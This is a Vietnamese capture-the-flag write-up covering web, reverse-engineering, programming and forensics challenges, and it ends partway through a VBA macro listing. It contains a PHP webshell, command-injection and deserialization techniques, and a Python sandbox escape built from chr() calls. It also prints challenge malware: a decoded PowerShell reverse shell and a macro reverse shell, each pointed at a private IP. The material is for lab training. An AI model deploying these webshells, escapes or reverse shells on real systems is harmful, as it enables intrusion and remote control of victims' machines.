---
# System prepended metadata

title: Writeup Cookie Hân Hoan - teebow1e

---

# Web Exploitation

## Be Positive

Truy cập vào trang web được deploy ra, mình thấy có một form đăng nhập. Đăng nhập với credentials `alice/alice` hoặc `bob/bob` như đề bài đã hint, mình vào được function chính là chuyển tiền.

Đây là một dạng bài khá phổ biến trong CTF nên mình chủ động test với parameter `amount`, mình test xem có chuyển được số âm không. Mình vào inspect element, chỉnh giá trị `min` của parameter `amount` về `-9999`. Và mình đã có thể chuyển `-9999`.

![](https://cdn.discordapp.com/attachments/1115650271322849310/1127996941473693776/image.png)

Lúc này tài khoản của mình đã được cộng thêm 10k USD và mình có thể buy flag.

![](https://cdn.discordapp.com/attachments/1115650271322849310/1127997135816765522/image.png)

## Slow Down

Bài này tương tự với bài `Be Positive`, tuy nhiên filter của parameter `amount` đã chặt chẽ hơn, nên hướng pollute các parameter không khả thi.

Mình nghĩ đến việc tấn công bằng race condition, solution của mình là login 1 acc tại 2 trình duyệt khác nhau (lúc này mỗi trình duyệt có 1 cookie khác nhau), sau đó cả 2 trình duyệt cùng transfer tiền đến tài khoản còn lại. Lúc này tài khoản chuyển bị trừ 1, nhưng tài khoản nhận sẽ nhận được 2, và mình có thể mua flag.

![](https://media.discordapp.net/attachments/1115650271322849310/1127997896256667658/image.png?width=1440&height=433)


## Pass Code
Bài cho mình 1 trang web và yêu cầu nhập mật khẩu. Đoán được đây là một bài client-side validation, mình view source.

Check source thì có thấy 1 file `crypto-js.js` và mình thấy rằng đây là 1 gist ở trên [mạng](https://gist.github.com/cynecx/b02210c255a3b18566e45a38371dbc70) nên mình không quá tập trung vào đọc hiểu. Mà bài này là deobfuscate JavaScript (dựa vào title) nên tập trung vào đoạn JavaScript kia.

![](https://hackmd.io/_uploads/rJXi7vFKh.png)

Do đoạn JS đã bị obsfucate nên mình sẽ dùng tool [này](https://deobfuscate.relative.im/) để deobs và thu về readable code:

```javascript
;(async function main() {
  var _0x24b3ab = (function () {
      var _0x140877 = true
      return function (_0x36bc46, _0x3c9734) {
        var _0x54cdd4 = _0x140877
          ? function () {
              if (_0x3c9734) {
                var _0x505e3b = _0x3c9734.apply(_0x36bc46, arguments)
                return (_0x3c9734 = null), _0x505e3b
              }
            }
          : function () {}
        return (_0x140877 = false), _0x54cdd4
      }
    })(),
    _0x34b2c2 = _0x24b3ab(this, function () {
      return _0x34b2c2
        .toString()
        .search('(((.+)+)+)+$')
        .toString()
        .constructor(_0x34b2c2)
        .search('(((.+)+)+)+$')
    })
  _0x34b2c2()
  function _0x2e3fc4(_0x230fda, _0x10a57a) {
    var _0x3c12b2 = CryptoJS.enc.Utf8.parse(_0x10a57a || 'c00kie-ar3na-ctf'),
      _0x329fea = CryptoJS.AES.decrypt(_0x230fda, _0x3c12b2, { iv: _0x3c12b2 })
    return _0x329fea.toString(CryptoJS.enc.Utf8)
  }
  const _0x5f2a9b = '#chapter-content img'
  var _0x5df765 = document.querySelectorAll(_0x5f2a9b)
  _0x5df765 = Array.from(_0x5df765)
  var _0x46d3cf = _0x5df765.map((_0x2ffa3f) =>
    _0x2ffa3f.getAttribute('encrypted-src')
  )
  _0x46d3cf = _0x46d3cf.map((_0x294fdc) =>
    CryptoJS.AES.decrypt(_0x294fdc, 'bánh quy chấm sữa').toString(
      CryptoJS.enc.Utf8
    )
  )
  _0x5df765.forEach(
    (_0x3ae067, _0x18596f) => (
      _0x3ae067.removeAttribute('encrypted-src'),
      _0x3ae067.setAttribute('src', _0x46d3cf[_0x18596f])
    )
  )
})()
```

Rất rõ ràng, key dùng để decrypt là `bánh quy chấm sữa`. Nhập key này ta có flag.

### flag: `CHH{jAvAscRIP7_o8FuSCaTe_68db84f2cb748388173b540d864c5d5a}`

## Youtube Downloader

Đây là 1 webapp cho phép người dùng fetch thumbnail của 1 video cụ thể trên YouTube.

![](https://cdn.discordapp.com/attachments/1115650271322849310/1127998044827295845/image.png)

Mình nhanh chóng nhận ra có thể inject code bằng dấu `;` ngay sau command chính.

![](https://media.discordapp.net/attachments/1115650271322849310/1127998243817652306/image.png?width=1101&height=145)

Vì mình không muốn dùng dấu cách (lý do là bởi HTTP encode dấu cách sẽ thành dấu `+`, có thể làm hỏng command linux) nên mình dùng `${IFS}`.

### flag: `CHH{Ea5y_cOmmaND_inj3c7Ion_3f33798465f2351ef5b069cecdc124cf}`

## Magic Login

Đây là một challenge bypass login, và mình có thể tìm thấy code của server bằng cách view source:
```php=
if(isset($_POST['submit'])){ 
    $usr = mysql_real_escape_string($_POST['username']); 
    $pas = hash('sha256', mysql_real_escape_string($_POST['password'])); 
    
    if($pas == "0"){ 
        $_SESSION['logged'] = TRUE; 
        header("Location: upload.php"); 
        // Modify to go to the page you would like 
        exit; 
    }else{ 
        header("Location: login_page.php"); 
        exit; 
    } 
}else{    
    //If the form button wasn't submitted go to the index page, or login page 
    header("Location: login_page.php");     
    exit; 
} 
```

Trong đoạn code, `$pas` là password do người dùng nhập vào, sau đó bị hash với thuật toán băm SHA256. Sau đó, nếu hash này bằng 0 thì người dùng sẽ được truy cập vào `upload.php`.

Theo mình thấy, **rất khó khăn** để tìm ra một đoạn plain text nào mà SHA256 ra bằng 0, tuy nhiên ở đây dev lại dùng loose comparison `==`. Do vậy, web app này bị lỗi [Type Juggling](https://viblo.asia/p/php-type-juggling-924lJPYWKPM). 

![](https://media.discordapp.net/attachments/1115650271322849310/1127998691127599195/image.png?width=482&height=128)

Như vậy mục tiêu của chúng ta là tìm một đoạn plain text nào đó, mà sau khi hash bằng SHA256 được 1 đoạn text có dạng `0exxxxxxxxxxxxx`.

Sử dụng [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Type%20Juggling/README.md), mình nhanh chóng tìm ra 2 magic strings thoả mãn điều kiện đã nêu.

![](https://media.discordapp.net/attachments/1115650271322849310/1127998785528795166/image.png?width=1440&height=177)

Đăng nhập bằng username random và password như trong hình, là mình có thể vào được trang `upload.php`.

Trang này cho phép upload 1 file bất kì, kể cả file `php`. Mình đã upload 1 webshell đơn giản.

```php=
<?php system($_GET['cmd']);?>
```

![](https://media.discordapp.net/attachments/1115650271322849310/1127999397813305464/image.png?width=1395&height=185)

Và có được code execution. Giờ chỉ cần `cat /flag.txt` thôi.

### flag: `CHH{PHP_m4g1c_tr1ck_0lD_but_g0lD_c42c66e83618cf8b8d005898326f1273}`

## Magic Login Harder

Đây là một challenge cho code, đọc qua đoạn code mình phân tích được:

- Flag bị gắn thêm vài kí tự ở đăng sau tên, vì vậy phải có code execution để lấy được tên file (có thể bruteforce nhưng phải brute force 62^5 trường hợp), tuy nhiên sau khi bypass login thì chỉ có LFI chứ không có RCE.
- Username và password (sau khi được base64 decode) phải khác nhau, nhưng mã MD5 phải giống nhau.

Mình đã deploy docker, chèn thêm 1 file php để đọc `phpinfo()` và phát hiện ra, `session.upload_progress.enabled` đang để ở `on`. Do đó mình có thể thực hiện khai thác [LFI2RCE](https://book.hacktricks.xyz/pentesting-web/file-inclusion/via-php_session_upload_progress). Mình cũng đã tìm ra vị trí của các file session nằm ở `tmp/sess_<PHPSESSID>`.

![](https://media.discordapp.net/attachments/1115650271322849310/1128000288079491162/image.png?width=740&height=71)
*(ở đây username và password mình điền là lấy từ [wikipedia](https://en.wikipedia.org/wiki/MD5#Collision_vulnerabilities) về MD5 Collision)*

Đọc code có thể biết được rằng, sau khi login thành công thì server sẽ lưu username của người dùng vào file session. Vì thế nếu có thể chèn mã độc vào user mà vẫn thoả mãn các điều kiện trong code thì mình có thể chạy code ở server side rồi.

Sau một hồi tra cứu Google thì mình phát hiện có 1 bài [CTF](https://ctftime.org/writeup/28329) đã dùng technique `MD5 Prefix Collision` để tạo ra 2 file plain text có mã MD5 giống y nhau **mà người dùng có thể kiểm soát được 1 vài byte đầu của file đấy**.

Mình sử dụng [HashClash](https://github.com/cr-marcstevens/hashclash) để generate ra 2 file thoả mãn điều kiện:

```
teebow1e@wwc:~/hashclash/workdir$ xxd collision1.bin
00000000: 3c3f 7068 7020 7379 7374 656d 2827 6c73  <?php system('ls
00000010: 202f 2729 3b3f 3e0a 8c2c d459 c72f 62aa   /');?>..,.Y./b.
00000020: bc2a 2185 b37a 79ea 7a36 2e1b 9d9b 35d8  .*!..zy.z6....5.
00000030: c26f e7d1 d53d a381 5559 e3eb 41e3 98f6  .o...=..UY..A...
00000040: afe4 954d 0ec5 61dd f00c d94b 3db8 7286  ...M..a....K=.r.
00000050: d514 98c4 d3eb fad8 77e3 bbea 6256 4c3c  ........w...bVL<
00000060: 75fa 590e 803c 5125 a2c6 ce6e 037a 4fa0  u.Y..<Q%...n.zO.
00000070: dbc1 de41 43d4 54d1 ab1d 0292 556d c3f1  ...AC.T.....Um..

teebow1e@wwc:~/hashclash/workdir$ xxd collision2.bin
00000000: 3c3f 7068 7020 7379 7375 656d 2827 6c73  <?php sysuem('ls
00000010: 202f 2729 3b3f 3e0a 8c2c d459 c72f 62aa   /');?>..,.Y./b.
00000020: bc2a 2185 b37a 79ea 7a36 2e1b 9d9b 35d8  .*!..zy.z6....5.
00000030: c26f e7d1 d53d a381 5559 e3eb 41e3 98f6  .o...=..UY..A...
00000040: afe4 954d 0ec5 61dd f00b d94b 3db8 7286  ...M..a....K=.r.
00000050: d514 98c4 d3eb fad8 77e3 bbea 6256 4c3c  ........w...bVL<
00000060: 75fa 590e 803c 5125 a2c6 ce6e 037a 4fa0  u.Y..<Q%...n.zO.
00000070: dbc1 de41 43d4 54d1 ab1d 0292 556d c3f1  ...AC.T.....Um..

teebow1e@wwc:~/hashclash/workdir$ md5sum collision1.bin collision2.bin
bd099bdc91c517eb6c3f975ffbea5027  collision1.bin
bd099bdc91c517eb6c3f975ffbea5027  collision2.bin
```

Lúc này mình chỉ cần `base64` cả 2 file và login, file session của mình lúc này sẽ có dạng:

![](https://cdn.discordapp.com/attachments/1115650271322849310/1128000676040032406/image.png)

Và mình `cat` file flag.

### flag: `CHH{7yPE_jU66lin9_hArdEr_7c0ac0ed6416d08227cfa3caebb41a57}`

## Suck it
Tiếp tục là một bài code review, tuy nhiên bài này khá nhiều file nên mình sẽ dump cây thư mục ra trước:
```
teebow1e@wwc:~/arenas2-web-suck-it-ver2$ tree
.
├── Dockerfile
├── app
│   ├── babel.config.js
│   ├── package.json
│   ├── public
│   │   ├── favicon.ico
│   │   ├── fonts
│   │   │   ├── FVF-Fernando.ttf
│   │   │   └── Lato-Regular.ttf
│   │   └── index.html
│   └── src
│       ├── App.vue # Main app - chịu trách nhiệm cho tên của user / gắn sessionID cho người dùng
│       ├── components
│       │   ├── Chat.vue # Function chat của app
│       │   ├── MessagePanel.vue # Render ô chat
│       │   ├── SelectUsername.vue # Render phần select username
│       │   ├── StatusIcon.vue # Status icon của người dùng
│       │   └── User.vue # Render trạng thái online/offline/có tin nhắn mới của user
│       ├── main.js # File server chịu trách nhiệm authentication / Handle tin nhắn giữa các user
│       └── socket.js
├── build-docker.sh
├── config
│   ├── nginx.conf
│   └── supervisord.conf
├── flag.txt
└── server
    ├── index.js
    ├── messageStore.js
    ├── package.json
    └── sessionStore.js

7 directories, 23 files
```

Như vậy có thể thấy, tuy nhiều file nhưng các file của `Vuejs` chỉ chịu trách nhiệm render UI của trang web trong khi `main.js` là logic của trang web.

Đọc kĩ `main.js`, mình tìm thấy winning condition:
![](https://hackmd.io/_uploads/BJcywjKKh.png)

Mình cần phải nhắn tin với người yêu của Admin, tuy nhiên với `userID` là Admin chứ không phải normal user.

![](https://hackmd.io/_uploads/HkJcDjYKn.png)

Ở đây admin đã lộ secret key, secretkey này có thể dùng để kick bất cứ ai khỏi phòng chat (*bao gồm cả Admin*).

Điểm thú vị chính là, khi 1 ai đó bị thoát phòng chat, server sẽ thông báo `User disconnected`, và in ra userID/sessionID của người đó.

![](https://hackmd.io/_uploads/H1xJtjtYh.png)

Vậy idea ở đây sẽ là:
> Kick Admin -> xin userID/sessionID -> add ID vào local storage -> nhắn tin với ngyeu hehehe.

Sử dụng Burp Suite, thử nhắn tin và bắt được request ở phần WebSockets. Đưa sang Repeater và chèn payload thôi:

![](https://hackmd.io/_uploads/B1UR9itF3.png)

Gửi đi câu lệnh kick admin và server gửi lại sessionID:
![](https://hackmd.io/_uploads/Hy8cosYFn.png)

Chèn sessionID này vào LocalStorage và hưởng thụ thôi:
![](https://hackmd.io/_uploads/SJtposYth.png)

![](https://hackmd.io/_uploads/B1g1niFKn.png)

### flag: `CHH{H4ve_y0u_re4d_th3_m3ssage_f595b466fd1ab3b4c2c55c2a9ed8506c}`


## Video Link Extractor

Lại tiếp tục là một challenge có code. Phân tích code, có những điểm sau đáng chú ý:

- Flag nằm ở `flag.php`
- Hàm `extract_api_to_object` được sử dụng xuyên suốt trong app và trong hàm này có sử dụng hàm `unserialize()`, đồng thời magic function `__wakeup()` lại include 1 file php.
![](https://hackmd.io/_uploads/Hk5eiKYK3.png)

--> Nếu có thể control được data trước khi bị unserialize là sẽ có code execution.

- Tuy nhiên để hàm `include` trong magic function hoạt động thì sẽ cần 1 local php file có chứa code do attacker điều khiển. Và lỗ hổng thứ 2 nằm ở đây:
![](https://hackmd.io/_uploads/S1_OotFth.png)
![](https://hackmd.io/_uploads/BJxKsFKKh.png)

Nếu người dùng input host không hợp lệ thì input người dùng sẽ được truyền vào file log, và file log này có tên là epoch time của request, và được lưu ở `/tmp`.
--> Mình đã có thể ghi malicious code vào server.

Sau khi phân tích xong, idea để exploit là:

1. Tạo file log có chứa code độc hại để đọc file flag.php
2. Lợi dụng tính năng redirect để server đọc 1 serialized object do mình chuẩn bị sẵn, với `$_file` chính là file log ở bước 1.
3. Sử dụng tính năng extract ở server để dẫn server đến object mình đã chuẩn bị sẵn, sau đó server sẽ deserialize, pwn3d.

**Payload để tạo log:**

![](https://hackmd.io/_uploads/SyKo3KtFh.png)

Ở đây mình sử dụng `base64` chứ không `cat` bởi vì `include` sẽ trực tiếp chạy file php ở client-side, flag ở trong một comment nên có thể sẽ không bị render ra.

**Lấy tên file log:**
![](https://hackmd.io/_uploads/rJ3GpFYYn.png)


**Tạo malicious serialized objects:**
![](https://hackmd.io/_uploads/BJd7attFn.png)

**Gửi request về server:**
![](https://hackmd.io/_uploads/Bk_BaFYK3.png)

```
GET /index.php?mode=extract&id=%3fmode%3dredirect%26url%3dhttps%3a//raw.githubusercontent.com/teebow1e/teebow1e.github.io/main/text.txt&host=local HTTP/2
```

**Decode base64 và lấy flag:**
![](https://hackmd.io/_uploads/Sk85pYttn.png)

### flag: `CHH{RCe_VIa_Ph4R_D3SeR1A11Sat10n_afcbfa6ffad78e1ad1d712a89df6e9b5}`

# Reverse Engineering


## pyreverse

Check `strings` của file exe, có thể dễ dàng thấy được file `exe` được đóng gói bằng `PyInstaller` nên ta có thể dùng `pydumpck` để unpack lại file `.py` ban đầu.

![](https://hackmd.io/_uploads/HkOBJ5tFh.png)

Kiểm tra file `pyreverser.pyc.cdc.py` trong `output` folder, mình đã có toàn bộ source của app và flag nằm ngay trong đoạn Base64.

```python
import base64

def reverse_string(s):
    return s[::-1]


def scramble_flag(flag):
    scrambled = ''
    for i, char in enumerate(flag):
        if i % 2 == 0:
            scrambled += chr(ord(char) + 1)
            continue
        scrambled += chr(ord(char) - 1)
    return scrambled


def main():
    print(base64.b64decode('Q0hIe3B5dGhvbjJFeGlfUmV2ZXJzZV9FTmdpbmVyaW5nfQ=='))
    secret_flag = scramble_flag(reverse_string(base64.b64decode('Q0hIe3B5dGhvbjJFeGlfUmV2ZXJzZV9FTmdpbmVyaW5nfQ==')).decode())
    print('Welcome to PyReverser!')
    print('Please enter a word or phrase:')
    user_input = input()
    generated_value = scramble_flag(reverse_string(user_input.upper()))
    print('Generated value:', generated_value)
    print('Can you find the hidden flag?')
    reversed_flag = reverse_string(secret_flag)
    print('Reversed flag:', reversed_flag)

if __name__ == '__main__':
    main()
```
Decode và có được flag.

### flag `CHH{python2Exi_Reverse_ENginering}`


# Programming

## Decrypt

> Tab vốn là một học sinh rất giỏi toán, nên sau khi tham gia khoá học “Xoá mù bảo mật” của Cookie Hân Hoan, cậu liên muốn áp dụng các kỹ thuật toán học để nhằm mã hoá các mật khẩu của mình. Mật khẩu là một chuỗi ký tự S có độ dài n (thứ tự các ký tự từ trái qua phải lần lượt là từ 1 đến n), cách thức mã hoá là thực hiện theo quy trình sau:

> Lặp đi lặp lại với lần lượt các ước số nguyên của n theo thứ tự giảm dần từ n tới 1. Với ước số d của n, sẽ đảo ngược chuỗi con S[1…d] (tức là chuỗi con gồm d ký tự đầu tiên) Sau khi thực hiện quy trình trên, Tab sẽ nhận được 1 mật khẩu đã được mã hoá. Ví dụ: Với mật khẩu là chuỗi cookiearenactf có độ dài 14. Với n = 14 có 4 ước số lần lượt là 14, 7, 2, 1.

> Với d = 14, ta sẽ đảo 14 ký tự đầu tiên, cookiearenactf → ftcaneraeikooc
Với d = 7, ta sẽ đảo 7 ký tự đầu tiên, ftcaneraeikooc → renactfaeikooc
Với d = 2, ta đảo 2 ký tự đầu tiên, renactfaeikooc → ernactfaeikooc
Với d =1, ta đảo 1 ký tự đầu tiên, dĩ nhiên là không thay đổi gì, và nhận được mật khẩu đã được mã hoá là ernactfaeikooc


Solution của mình trong bài này là:

```python=
import math

def find_divisors(n):
    divisors = [1]
    for i in range(2, int(math.sqrt(n)) + 1):
        if n % i == 0:
            divisors.append(i)
            if i != n // i:
                divisors.append(n // i)
    divisors.append(n)
    return divisors

def reverse_substring(s, d):
    return s[d-1::-1] + s[d:]

n = int(input())
encrypted_password = input()
divisors = find_divisors(n)
for d in divisors:
    encrypted_password = reverse_substring(encrypted_password, d)
print(encrypted_password)
```
### flag: `CHH{pro9R4mmINg_D3CRYPT_1b135dcdfa53b88c8f584fab71438cb5}`

## Identify Security

> Với thông tin số điện thoại thì chỉ hiển thị 2 chữ số đầu và 3 chữ số cuối, còn lại được che bằng ký tự hoa thị (*) với mỗi chữ số là một ký tự hoa thị tương ứng.
Với thông tin địa chỉ email thì chỉ giữ lại 2 ký tự đầu và 3 ký tự cuối của phần username, và tên miền (domain), các ký tự còn lại cũng được che tương tự như trên (trong trường hợp username quá ngắn, ít hơn hoặc bằng 7 ký tự thì chỉ giữ lại ký tự đầu và cuối của username). Biết rằng cấu trúc của một địa chỉ email luôn là username@domain.
Hãy giúp ban tổ chức một tay để bảo mật danh tính các thí sinh nào!

Solution của mình trong bài này là:

```python=
inp = int(input())
for _ in range(inp):
    pw_str = input().strip()
    if pw_str.isdigit():
        print(pw_str[:2] + '*'*(len(pw_str)-5) + pw_str[-3:])
    else:
        username, domain = pw_str.split('@')
        if len(username) <= 7:
            print(username[0] + '*'*(len(username)-2) + username[-1] + '@' + domain)
        else:
            print(username[:2] + '*'*(len(username)-5) + username[-3:] + '@' + domain)
```
### flag: `CHH{1DeNt17Y_SecuriTy_12b04a30e76a508404849fb02ebc2212}`

## Unintended Solutions for all Programming challenges

> Cách này KHÔNG được BTC chấp nhận, mình viết với mục đích chia sẻ, không khuyến khích mọi người làm theo.

Ngay khi thấy các challenge cho phép code và chạy ngay ở phía server, mình đã nghĩ ngay đến việc import các library cho phép chạy lệnh ở Python.

![](https://hackmd.io/_uploads/Hk1xOvYK3.png)

Tuy nhiên 2 keyword này đã bị filter, ở đây hướng exploit của mình sẽ là:

- Sử dụng các builtin functions của python để tìm các function top-level (`__import__` là một ví dụ)
- Với các keyword bị filter, mình sẽ sử dụng hàm `chr()` có sẵn của python để build string từ char code.

Payload của mình **(Một lần nữa - Cách giải này không được chấp nhận, không khuyến khích làm theo)**:
```python=
a = chr(95) + chr(95) + chr(105) + chr(109) + chr(112) + chr(111) + chr(114) + chr(116) + chr(95) + chr(95)
# __import__

b = chr(115) + chr(117) + chr(98) + chr(112) + chr(114) + chr(111) + chr(99) + chr(101) + chr(115) + chr(115)
# subprocess

c = chr(47) + chr(102) + chr(108) + chr(97) + chr(103) + chr(46) + chr(116) + chr(120) + chr(116)
# /flag.txt

__builtins__.__dict__[a](b).run(['cat', c])
```

![](https://hackmd.io/_uploads/HyasuwFY3.png)


# Digital Forensics

## Sổ đăng ký
Tải file được đính kèm và giải nén, thu được file `NTUSER.DAT`.

`NTUSER.DAT` là file chứa thông tin tài khoản người dùng và các tuỳ biến người dùng đã cài đặt. File này sẽ chứa toàn bộ thông tin của registry hive `HKEY_CURRENT_USER`.

Để xem file này, mình sử dụng tool [Registry Explorer](https://ericzimmerman.github.io/#!index.md) hoặc load hive trực tiếp vào Registry Editor, tuy nhiên mình không muốn đụng vào Registry của máy nên mình đã dùng tool.

Dựa vào hint từ đề bài, `Hòa thấy hiện tượng lạ mỗi khi anh ta khởi động máy tính`, có lẽ có 1 file gì đó được chạy khi startup. Do vậy, mình tập trung subkey `Software/Microsoft/Windows/CurrentVersion/`, bởi vì đây là subkey có chứa rất nhiều thông tin về tuỳ biến của người dùng với hệ thống.

Cụ thể, trong subkey `Run`, tìm thấy được một key chứa lệnh được chạy thông qua Powershell:

![](https://media.discordapp.net/attachments/1115650271322849310/1128001169755754626/image.png?width=1440&height=280)


```
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "(neW-obJEct io.COMprEssIon.dEFlATesTReAm( [sySTem.IO.memorYSTREam] [coNVeRT]::FRoMBAse64stRInG( 'TVFva4JAGP8qh7hxx/IwzbaSBZtsKwiLGexFhJg+pMs09AmL6rvP03S9uoe739/nZD+OIEHySmwolNn6F3wkzilH2HEbkDupvwXM+cKaWxWSSt2Bxrv9F64ZOteepU5vYOjMlHPMwNuVQnItyb8AneqOMnO5PiEsVytZnHkJUjnvG4ZuXB7O6tUswigGSuVI0Gsh/g1eQGt8h6gdUo98CskGQ8aIkgBR2dmUAw+9kkfvCiiL0x5sbwdNlQUckb851mTykfhpECUbdstXjo2LMIlEE0iCtedvhWgER1I7aKPHLrmQ2QGVmkbuoFoVvOE9Eckaj8+26vbcTeomqptjL3OLUM/0q1Q+030RMD73MBTYEZFuSmUMYbpEERduSVfDYZW8SvwuktJ/33bx/CeLEGirU7Zp52ZpLfYzPuQhZVez+SsrTnOg7A8='), [SYSTEM.iO.ComPReSSion.CoMPrEsSIonmODe]::DeCOmpresS)|FOREAcH-object{ neW-obJEct io.streAMrEadeR( $_,[sysTem.TExt.EnCoDING]::asCIi )}).reaDToEnD()|inVOKe-exprEsSIon
```

Trong đoạn Powershell này, mã độc này sẽ decode 1 đoạn Base64 và chạy bằng hàm InvokeExpression. Lúc này, mình sẽ beautify code và thay hàm `Invoke-Expression` bằng `Write-Line` để in thay vì chạy code.

```
$newObject = [System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new([Convert]::FromBase64String('THE BASE64 STRING')), [System.IO.Compression.CompressionMode]::Decompress)

foreach ($object in $newObject) {
    $streamReader = [System.IO.StreamReader]::new($object, [System.Text.Encoding]::ASCII)
    $command = $streamReader.ReadToEnd()
    Write-Host $command
}
```

Mình nhận lại được 1 đoạn code powershell khác, có thể thấy rằng đây là 1 đoạn code Reverse Shell, và có luôn flag ở trong đó:

```
$client = New-Object System.Net.Sockets.TCPClient("192.168.253.27",4953);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (Ne
w-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "CHH{N0_4_go_n0_st4r_wh3r3}" + (pwd).Path + "> ";$sendbyte = ([text
.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```
### flag: `CHH{N0_4_go_n0_st4r_wh3r3}`

## Tin học văn phòng

Tải về và giải nén, mình có được 1 file Doc. Qua đề bài, có thể thấy được đây là 1 malware nên mình không mở trực tiếp file doc mà dùng tool [olevba](https://github.com/decalage2/oletools/wiki/olevba) để phân tích.

Kết quả trả lại:
```
teebow1e@wwc:~$ olevba Challenge.doc
olevba 0.60.1 on Python 3.10.6 - http://decalage.info/python/oletools
===============================================================================
FILE: Challenge.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: Challenge.doc - OLE stream: 'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas
in file: Challenge.doc - OLE stream: 'Macros/VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Const ip = "192.168.25.135"
Const port = "1337"

Const INVALID_SOCKET = -1
Const WSADESCRIPTION_LEN = 256
Const SOCKET_ERROR = -1

Private Type WSADATA
    wVersion As Integer
    wHighVersion As Integer
    szDescription(0 To WSADESCRIPTION_LEN) As Byte
    szSystemStatus(0 To WSADESCRIPTION_LEN) As Byte
    iMaxSockets As Integer
    iMaxUdpDg As Integer
    lpVendorInfo As Long
End Type

Private Type ADDRINFO
    ai_flags As Long
    ai_family As Long
    ai_socktype As Long
    ai_protocol As Long
    ai_addrlen As Long
    ai_canonName As LongPtr
    ai_addr As LongPtr
    ai_next As LongPtr
End Type

Private Type STARTUPINFOA
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As String
    hStdInput As LongPtr
    hStdOutput As LongPtr
    hStdError As LongPtr
End Type

Private Type PROCESS_INFORMATION
    hProcess As LongPtr
    hThread As LongPtr
    dwProcessId As Long
    dwThreadId As Long
End Type

Enum af
    AF_UNSPEC = 0
    AF_INET = 2
    AF_IPX = 6
    AF_APPLETALK = 16
    AF_NETBIOS = 17
    AF_INET6 = 23
    AF_IRDA = 26
    AF_BTH = 32
End Enum

Enum sock_type
    SOCK_STREAM = 1
    SOCK_DGRAM = 2
    SOCK_RAW = 3
    SOCK_RDM = 4
    SOCK_SEQPACKET = 5
End Enum

Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" (ByVal wVersionRequested As Integer, ByRef data As WSADATA) As Long
Private Declare PtrSafe Function connect Lib "ws2_32.dll" (ByVal socket As LongPtr, ByVal SOCKADDR As LongPtr, ByVal namelen As Long) As Long
Private Declare PtrSafe Sub WSACleanup Lib "ws2_32.dll" ()
Private Declare PtrSafe Function GetAddrInfo Lib "ws2_32.dll" Alias "getaddrinfo" (ByVal NodeName As String, ByVal ServName As String, ByVal lpHints As LongPtr, lpResult As LongPtr) As Long
Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" (ByVal socket As LongPtr) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long
Private Declare PtrSafe Function CreateProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Any, ByVal lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As STARTUPINFOA, ByVal Length As Long)
Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long, ByVal t As Long, ByVal protocol As Long, lpProtocolInfo As Any, ByVal g As Long, ByVal dwFlags As Long) As Long

Function revShell()
    Dim m_wsaData As WSADATA
    Dim m_RetVal As Integer
    Dim m_Hints As ADDRINFO
    Dim m_ConnSocket As LongPtr: m_ConnSocket = INVALID_SOCKET
    Dim pAddrInfo As LongPtr
    Dim RetVal As Long
    Dim lastError As Long
    Dim iRC As Long
    Dim MAX_BUF_SIZE As Integer: MAX_BUF_SIZE = 512

    RetVal = WSAStartup(MAKEWORD(2, 2), m_wsaData)
    If (RetVal <> 0) Then
        MsgBox "You are hacked"
        Call WSACleanup
        Exit Function
    End If

    m_Hints.ai_family = af.AF_UNSPEC
    m_Hints.ai_socktype = sock_type.SOCK_STREAM

    RetVal = GetAddrInfo(ip, port, VarPtr(m_Hints), pAddrInfo)
    If (RetVal <> 0) Then
        MsgBox "You are hacked"
        Call WSACleanup
        Exit Function
    End If

    m_Hints.ai_next = pAddrInfo
    Dim connected As Boolean: connected = False
    Do While m_Hints.ai_next > 0
        CopyMemory m_Hints, ByVal m_Hints.ai_next, LenB(m_Hints)

        m_ConnSocket = WSASocketA(m_Hints.ai_family, m_Hints.ai_socktype, m_Hints.ai_protocol, ByVal 0&, 0, 0)

        If (m_ConnSocket = INVALID_SOCKET) Then
            revShell = False
        Else
            Dim connectionResult As Long

            connectionResult = connect(m_ConnSocket, m_Hints.ai_addr, m_Hints.ai_addrlen)

            If connectionResult <> SOCKET_ERROR Then
                connected = True
                Exit Do
            End If

            closesocket (m_ConnSocket)
            revShell = False
        End If
    Loop

    If Not connected Then
        revShell = False
        RetVal = closesocket(m_ConnSocket)
        Call WSACleanup
        Exit Function
    End If

    Dim si As STARTUPINFOA
    ZeroMemory si, Len(si)
    si.cb = Len(si)
    si.dwFlags = &H100
    si.hStdInput = m_ConnSocket
    si.hStdOutput = m_ConnSocket
    si.hStdError = m_ConnSocket
    Dim pi As PROCESS_INFORMATION
    Dim worked As LongPtr
    Dim test As Long
